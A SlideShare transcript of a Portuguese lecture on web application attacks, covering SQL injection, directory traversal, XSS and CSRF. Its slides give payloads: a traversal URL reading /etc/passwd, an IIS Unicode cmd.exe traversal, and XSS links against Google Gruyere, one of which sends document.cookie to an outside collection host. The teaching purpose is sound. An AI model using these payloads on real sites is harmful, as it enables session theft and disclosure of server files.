Your SlideShare is downloading. ×
Segurança em Aplicações Web
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Segurança em Aplicações Web

3,053

Published on

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
3,053
On Slideshare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
85
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Ataques à Aplicações Web - Uma visão prática - Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea
  • 2. Objetivo• Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI.• Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.
  • 3. Vulnerabilidades da web Fonte: Projeto OWASP
  • 4. Information leakage?• Consultas no Google! – Podem equivaler a um “nmap da web” dom:<domínio> ext:<extensão> <string>
  • 5. SQL Injection• Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados• Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.
  • 6. Exemplo básico• Isto:SELECT * FROM BugsWHERE bug_id = $_GET[bugid];• Pode resultar nesta instrução!SELECT * FROM BugsWHERE bug_id = 1234 OR TRUE;
  • 7. Um caso pior!UPDATE AccountsSET password = SHA2($password)WHERE account_id = $account_id;• Vira...UPDATE AccountsSET password = SHA2(xyzzy, admin=1)WHERE account_id = 1234 OR TRUE
  • 8. Um caso grave...http://hmsec.tumblr.com/
  • 9. Directory traversal• Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado• Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada• Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
  • 10. Exemplo básico (PHP/Linux)• Suponha um script que suporte isto:• http://www.xxx.com/members/seepic.cgi?arq=001.j pg<? ... /* le imagem a ser exibida */ arqimg = fopen(“/amadoras/”.$_GET[arq], “r”); imagem = fread($handle, filesize($arqimg)); print $imagem; fclose($arqimg);?>
  • 11. Imagine agora este acesso...http://www.xxx.com/members/seepic.cgi?arq=.. /../../../../../../../../../etc/passwd
  • 12. Directory traversal no Windows• O caractere utilizado como separador de caminhos no Windows é “”, o que de algum modo particulariza os ataques a esta plataforma• Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios• Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados
  • 13. Variantes do ataque (1) Para evitar detecção por sistemas sensíveis a parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados Uma possibilidade é utilizar parâmetros com codificação de URL:seepic.cgi?arq=%2e%2e%2f... → (../)seepic.cgi?arq=%2e%2e%5c... → (..)
  • 14. Variantes do ataque (2) No passado, caracteres da plataforma Windows também podiam ser especificados por seu código Unicode Esta é uma codificação universal de 16 bits para representar símbolos em qualquer linguagemhttp://address.of.iis5.system/scripts/..%c0%af../winnt/system32 /cmd.exe?/c+dir+c: (%c0%af == /) (%c1%9c == )
  • 15. XSS – Cross Site Scripting“Através de um XSS, o Cracker injetacodigos JavaScript em um campo texto de umapágina já existente e este JavaScript é apresentadopara outros usuários.” -- Wikipédia
  • 16. XSRF (ou CSRF)• Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas• Pode ser utilizado como parte de um ataque de XSS (cross-site scripting)• Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
  • 17. Google Gruyere• http://google-gruyere.appspot.com/• Aplicação propositalmente desenvolvida com bugs• Um “testbed” para experiências em segurança
  • 18. Google Gruyere
  • 19. Ataques orientados ao Gruyere• Básicos – Cadastrar um item com nome: zezi<a href="lalala">nho</a> – Ou com o nome: <b>Isto é um teste.</b><a href="http://www.malvado.com/">link</a> – Ou ainda: <P class=dev>Point your mouse <A onmouseover="alert(This is an alert box!)" href="">here</A></P>
  • 20. Ataques orientados ao Gruyere• Internet Explorer 9 (Ago/2011) <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert(SEGURA PEAO)</script>">Este é o super novo queijo</a> <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>window.open(http://www.google.com.br/)</ script>">Este é o super novo queijo</a>
  • 21. Ataques orientados ao Gruyere• Começando a ficar sem-graça... <a href="http://google- gruyere.appspot.com/751162075406/snippets.gtl?uid= <script>alert(document.cookie)</script>">Este é o super novo queijo</a>
  • 22. Ataques orientados ao Gruyere• Fazendo algo desagradável... <a href="http://google- gruyere.appspot.com/751162075406/snippets. gtl?uid=<script>window.open("http://www.pe godadosdoseubanco.com.br/salva.php?cook=" + document.cookie)</script>">Este é o super novo queijo</a>• Vejamos um exemplo de script para salvar dados...
  • 23. Ataques orientados ao Gruyere• Indo além do pedagógico! http://google- gruyere.appspot.com/751162075406/snippets.gtl?ui d=%3Ciframe%20src=%22http://www.google.com.br %22%20width=%22100%%22%20height=%22100%% 22%3E%3Cp%3EEntrar%20em%20contato%20com% 20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
  • 24. Obrigado!! Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ carlos.nilton@gmail.com @cnacorrea

×